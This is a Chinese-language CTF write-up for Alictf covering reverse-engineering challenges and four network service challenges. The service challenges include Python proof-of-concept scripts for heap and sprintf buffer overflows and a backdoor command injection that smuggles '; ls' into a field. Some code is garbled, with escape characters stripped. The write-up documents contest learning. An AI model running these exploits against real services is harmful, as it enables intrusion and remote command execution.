Alictf Writeup

Alictf Writeup

Reverse

1.    Ch1

根据题目描述，首先在Ch1.exe文件中搜索Secret.db字符串，如下所示。

 

之后定位文件创建和数据写入位置，如下所示。

 

可以看到，写入数据的地址位于esp+30h+var10，而在之前调用了data_handle函数对齐进行了处理，data_handle函数有三个参数，分别是pOutBuffer、pInBuffer、InBufferSize，如下所示。

 

传入数据如下所示。

 

处理完后，位于0x28EF3C处的数据如下所示。

 

可以看到，OutBuffer位于0x491B80处，如下所示。

 

分析到这儿，可以发现InBuffer明显不是我们所要找的flag，而其值又来源于edi，edi来源于ecx，属于寄存器传参，继续向前跟踪函数。

 

在这，我们发现ecx来自于edi，而edi保存的是esi+0F4h处的地址，在这中间对地址中的数据进行了处理，调用了crypto1函数进行了处理。在crypto1中，我们发现有大量的赋值操作，并且这些值的ASCII码都是可视，应该就是我们所要找的flag，如下所示。

 

在此处下断，查看内存信息如下所示。

 

可以看到加密的key就是位于0x53EE74这0x20字节。

2.    Ch2

这一题是文件加解密相关的，首先创建flag.txt文件，输入文本“0123456789”，得到如下输出结果。

 

可以看到这里的每一个数字都用2个字节来表示，只是进行了简单的置换操作，由此我们可以把所有可视的ASCII字符与密码表的对应关系搞清楚，直接替换原来flag.crypt文件中的数据即可，代码如下所示。

#gen_crypto_table.py

import os

fp1 = open('flag.txt','r')
fp2 = open('flag.crpyt','rb')
fp3 = open('data.txt','a')

text1=fp1.read()
text2=fp2.read()
data_length = len(text1)

for i in range(0,data_length):
         data=text1[i] + ' ' + text2[2*i] + text2[2*i+1] +'
'
         fp3.write(data)

fp1.close()
fp2.close()
fp3.close()

#gen_flag.py
import os

fp1 = open('data.txt','rb')
fp2 = open('final-flag.crpyt','rb')

fp3 = open('result.txt','w')

text1=fp1.read()
text2=fp2.read()
data2_length = len(text2)
data1_length = len(text1)

#print data1_length
#for j in range(0,18,6):


for i in range(0,data2_length,2):
    target = text2[i:i+2]
    for j in range(0,data1_length,6):
        tmp = text1[j:j+4]
        if(target==tmp[2:]):
            print repr(target[0]),repr(target[1]),repr(tmp[2]),repr(tmp[3])
            fp3.write(tmp[0])
            break;


fp1.close()
fp2.close()
fp3.close()

3.    Ch3

这一题使用了UPX压缩壳，数据解压出来后会跳到原程序的入口点，如下所示。

 

运行程序，程序在如下位置崩溃。

 

查看栈回溯信息。

 

发现程序在base_address+0x1943h前call rax出错，如下所示。

 

使用UPX对ch3.exe解压，解压出原来的ch3.exe文件来帮助我们分析。根据题目描述，定位到程序崩溃位置，如下所示。

 

发现此时调用DecryptDll.dll中的RSADecrypt函数，而在系统中却没有这个函数，导致此时的call rax出错。程序使用了UPX进行压缩，在解压缩的时候可能包含了这些数据，搜索内存，找到如下信息。

 

将该段内存（00000001`3f3970a8—00000001`3f3970a8+0xbbe00-1）导出，命名为DecryptDLL.dll。

重新加载程序，运行后仍然崩溃，如下所示。

 

栈回溯如下所示。

 

发现问题还是出在RSADecrypt函数的调用上，这里传进去4个参数rcx、rdx、r8、r9，他们分别表示pEncryptBuffer、BufferLength、pOutDecryptBuffer和flag（具体细节追踪DecryptDll中RSADecrypt函数处理流程即可知晓），而这里只需将r8的值指向有效内存即可让程序正常运行，如下所示。

 

Codesafe

1.    Rpc1

这一题问题在rpc_function_1函数中，如下所示。

 

这里的问题在于图中灰色部分，mtl是一个unsigned short，只有两个字节，而此时如果构造的数据满足tl==512 & temp.mtt=200的时候，此时的mtl的值会超过65535，导致malloc分配的空间过小，从而溢出。由此可以构造如下数据。

#rpc1.py
from socket import *
import struct

class TcpClient:
    HOST='223.6.252.25'
    PORT=30000 
    BUFSIZ=1024
    ADDR=(HOST, PORT)
    def __init__(self):
        self.client=socket(AF_INET, SOCK_STREAM)
        self.client.connect(self.ADDR)

        while True:
            token='A'*32
            dd='A'*512
            data=struct.pack('B',len(token))
            data+=token
            data+=struct.pack('B',1)
            data+=struct.pack('>I',514)
            data+=struct.pack('<H',200)
            data+=dd
            self.client.send(data)
            data=self.client.recv(self.BUFSIZ)
            if not data:
                break
            print('从%s收到信息：%s' %(self.HOST,data))
            break
         
if __name__ == '__main__':
    client=TcpClient()

2.    Rpc2 

这一题问题在rpc_function_2函数中，如下所示。

char buffer[512];
int len = request->len_data;
……
sprintf(buffer,"%s has been parsed, tag:%s, value:%s.", line, pr.t, pr.v);
return create_response(strlen(buffer),buffer);

中间省略了对数据进行解析的部分，最后这里把格式化的数据保存到buffer中，而buffer的大小只有512字节，line来自于网络数据，只要让这里的line的数据长度为512或者这个格式化字符串的长度大于512即可。具体数据如下所示。

#rpc2.py
from socket import *
import struct

class TcpClient:
    HOST='42.120.63.194'
    PORT=30000 
    BUFSIZ=1024
    ADDR=(HOST, PORT)
    def __init__(self):
        self.client=socket(AF_INET, SOCK_STREAM)
        self.client.connect(self.ADDR)

        while True:
            token='A'*32
            
            d1='A'*63+'='+'21'*8
            d2=' '*(512-len(d1)) + d1
            
            data=struct.pack('B',len(token))
            data+=token
            data+=struct.pack('B',2)
            data+=struct.pack('>I',512)
            
            data+=d2
            self.client.send(data)
            data=self.client.recv(self.BUFSIZ)
            if not data:
                break
            print('从%s收到信息：%s' %(self.HOST,data))
            break
         
if __name__ == '__main__':
    client=TcpClient()

3.    Rpc3 

这一题问题在rpc_function_2函数中，和Codesafe 2类似，都是sprintf造成的问题，如下所示。

 

在上图灰色部分，r的大小为256字节，而p的数据通过function6进行处理的，只要想办法让这p的字符串大小在256左右即可触发漏洞。

在上图的function6中，我们可以看到p来自于t.szUrl中的“http://”之后的部分，这样我们就可以构造如下数据。

#rpc4.py
from socket import *
import struct
import time

class TcpClient:
    HOST='223.6.253.103'
    PORT=30000 
    BUFSIZ=1024
    ADDR=(HOST, PORT)
    def __init__(self):
        self.client=socket(AF_INET, SOCK_STREAM)
        self.client.connect(self.ADDR)

        while True:
            token='A'*32
            data=struct.pack('B',len(token))
            data+=token    
            data+=struct.pack('B',2)
                        
            flag_v=2
            stc='x48x48x00x00' #mn
            stc+=struct.pack('I',int(time.time())); #ts
            stc+=struct.pack('I',flag_v) #v
            stc+="sdatsts-afu"+"x00"*(16-len("sdatsts-afu")) #k
            url="http://alibaba.com/"+"A"*(256-len("http://alibaba.com/"))
            stc+=struct.pack("I",len(url)) #len
            stc+=url+"x00"*(256-len(url)) #szUrl
            
            data+=struct.pack('>I',len(stc))
            data+=stc
            self.client.send(data)
            data=self.client.recv(self.BUFSIZ)
            if not data:
                break
            print('从%s收到信息：%s' %(self.HOST,data))
            break
         
if __name__ == '__main__':
    client=TcpClient()

4.    Rpc4 

这一题问题在rpc_function_1函数中，存在一个后门登陆漏洞，如下所示。

 

在上图灰色部分，能够调用system函数执行指定的指令，而想要到达这条路径，必须让”login==1 && strcmp(szUser,”admin”)==)”这个条件，也就是满足szUser==”admin”和value=”ALIBABA”这两个条件，具体的数据构造如下所示。

#rpc4.py
from socket import *
import struct

class TcpClient:
    HOST='223.6.251.166'
    PORT=30000 
    BUFSIZ=1024
    ADDR=(HOST, PORT)
    def __init__(self):
        self.client=socket(AF_INET, SOCK_STREAM)
        self.client.connect(self.ADDR)

        while True:
            token='A'*32

            data=struct.pack('B',len(token))
            data+=token

            data+=struct.pack('B',1)
            data+=struct.pack('>I',512)

            
            user='admin'+' '*64+'admi' #stc2.user
            u_pass='urejhvg' #stc2.pass
            ins='www.taobao.com; ls' #stc2.buffer
            data1=user+"x00"*(128-len(user))+u_pass+"x00"*(128-len(u_pass))+ins+"x00"*(256-len(ins))
            
            data+=data1
            
            self.client.send(data)
            data=self.client.recv(self.BUFSIZ)
            if not data:
                break
            print('从%s收到信息：%s' %(self.HOST,data))
            break
         
if __name__ == '__main__':
    client=TcpClient()

奋斗了两天之后，解出了这么点题……感觉逆向能力还有待进一步加强，另外，基本上codesafe题都和socket通信有关，reverse4、5题能力要求有点高，感觉时间还是不够，熟练度有待进一步提高。。。